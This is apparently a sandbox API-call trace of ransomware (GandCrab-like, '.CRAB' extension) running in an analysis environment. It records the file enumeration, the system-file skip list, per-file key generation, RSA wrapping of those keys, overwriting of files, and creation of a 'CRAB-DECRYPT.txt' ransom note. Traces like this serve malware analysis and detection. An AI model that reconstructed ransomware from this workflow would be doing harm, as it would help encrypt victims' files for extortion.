	[0134.603] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.604] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.605] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.606] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.606] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.606] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.606] lstrcmpW (lpString1="sL9w.mkv", lpString2=".") returned 1
	[0134.606] lstrcmpW (lpString1="sL9w.mkv", lpString2="..") returned 1
	[0134.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="sL9w.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv"
	[0134.606] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.606] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv") returned 37
	[0134.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv") returned 37
	[0134.607] lstrlenW (lpString=".mkv") returned 4
	[0134.607] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.607] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.607] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv") returned 37
	[0134.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv") returned 37
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="desktop.ini") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="autorun.inf") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="ntuser.dat") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="iconcache.db") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="bootsect.bak") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="boot.ini") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="ntuser.dat.log") returned 1
	[0134.607] lstrcmpiW (lpString1="sL9w.mkv", lpString2="thumbs.db") returned -1
	[0134.608] lstrcmpiW (lpString1="sL9w.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.608] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.608] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB") returned 42
	[0134.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sl9w.mkv")) returned 0x20
	[0134.608] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv", dwFileAttributes=0x20) returned 1
	[0134.608] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sl9w.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sl9w.mkv.crab")) returned 1
	[0134.609] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.610] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB"
	[0134.610] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB.CRAB"
	[0134.610] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ec00) returned 1
	[0134.611] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.611] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.612] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.612] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.612] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0134.612] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.612] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0134.613] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.614] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.614] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.614] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.614] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.614] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.614] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.615] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.616] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32499f0) returned 1
	[0134.617] CryptGetKeyParam (in: hKey=0x32499f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.617] CryptEncrypt (in: hKey=0x32499f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.617] GetLastError () returned 0x0
	[0134.617] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.617] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0134.620] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249c70) returned 1
	[0134.620] CryptGetKeyParam (in: hKey=0x3249c70, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.620] CryptEncrypt (in: hKey=0x3249c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.621] GetLastError () returned 0x0
	[0134.621] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.621] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\sL9w.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\sl9w.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.621] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.621] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.622] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x12446, lpOverlapped=0x0) returned 1
	[0134.635] VirtualAlloc (lpAddress=0x0, dwSize=0x12450, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.636] VirtualAlloc (lpAddress=0x0, dwSize=0x12450, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.638] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.639] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffedbba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.639] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x12450, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x12450, lpOverlapped=0x0) returned 1
	[0134.639] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.639] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.643] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.643] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.643] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.643] CloseHandle (hObject=0x3e8) returned 1
	[0134.643] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.644] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.644] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.644] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.644] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.644] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.645] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.645] lstrcmpW (lpString1="tYTYwIWCYmSr.swf", lpString2=".") returned 1
	[0134.645] lstrcmpW (lpString1="tYTYwIWCYmSr.swf", lpString2="..") returned 1
	[0134.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="tYTYwIWCYmSr.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf"
	[0134.645] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.645] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf") returned 45
	[0134.645] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf") returned 45
	[0134.645] lstrlenW (lpString=".swf") returned 4
	[0134.645] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.645] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0134.645] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.645] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf") returned 45
	[0134.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf") returned 45
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="desktop.ini") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="autorun.inf") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="ntuser.dat") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="iconcache.db") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="bootsect.bak") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="boot.ini") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="ntuser.dat.log") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="thumbs.db") returned 1
	[0134.646] lstrcmpiW (lpString1="tYTYwIWCYmSr.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.646] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.646] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB") returned 50
	[0134.646] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\tytywiwcymsr.swf")) returned 0x20
	[0134.646] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf", dwFileAttributes=0x20) returned 1
	[0134.647] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\tytywiwcymsr.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\tytywiwcymsr.swf.crab")) returned 1
	[0134.647] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.648] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB"
	[0134.648] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB.CRAB"
	[0134.648] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0134.649] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.649] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.649] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.649] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0134.649] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.650] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0134.651] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.651] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.651] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.651] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0134.651] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.652] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.652] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.652] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0134.653] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249630) returned 1
	[0134.653] CryptGetKeyParam (in: hKey=0x3249630, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.653] CryptEncrypt (in: hKey=0x3249630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.654] GetLastError () returned 0x0
	[0134.654] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0134.654] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0134.656] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249cb0) returned 1
	[0134.656] CryptGetKeyParam (in: hKey=0x3249cb0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.656] CryptEncrypt (in: hKey=0x3249cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.656] GetLastError () returned 0x0
	[0134.656] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0134.656] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\tYTYwIWCYmSr.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\tytywiwcymsr.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.657] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.657] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.657] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x1755d, lpOverlapped=0x0) returned 1
	[0134.670] VirtualAlloc (lpAddress=0x0, dwSize=0x17560, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.671] VirtualAlloc (lpAddress=0x0, dwSize=0x17560, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.674] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.674] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe8aa3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.674] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17560, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x17560, lpOverlapped=0x0) returned 1
	[0134.675] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.675] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.678] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.679] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.679] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.679] CloseHandle (hObject=0x3e8) returned 1
	[0134.679] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.679] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.679] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.679] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.680] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.680] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.680] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.680] lstrcmpW (lpString1="U9RNrOMa-ues_1", lpString2=".") returned 1
	[0134.680] lstrcmpW (lpString1="U9RNrOMa-ues_1", lpString2="..") returned 1
	[0134.680] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="U9RNrOMa-ues_1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1"
	[0134.680] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\"
	[0134.680] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.680] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0134.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0134.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0134.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0134.681] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0134.681] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0134.681] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0134.681] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0134.681] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0134.681] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0134.681] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.685] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\\\CRAB-DECRYPT.txt") returned 61
	[0134.686] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
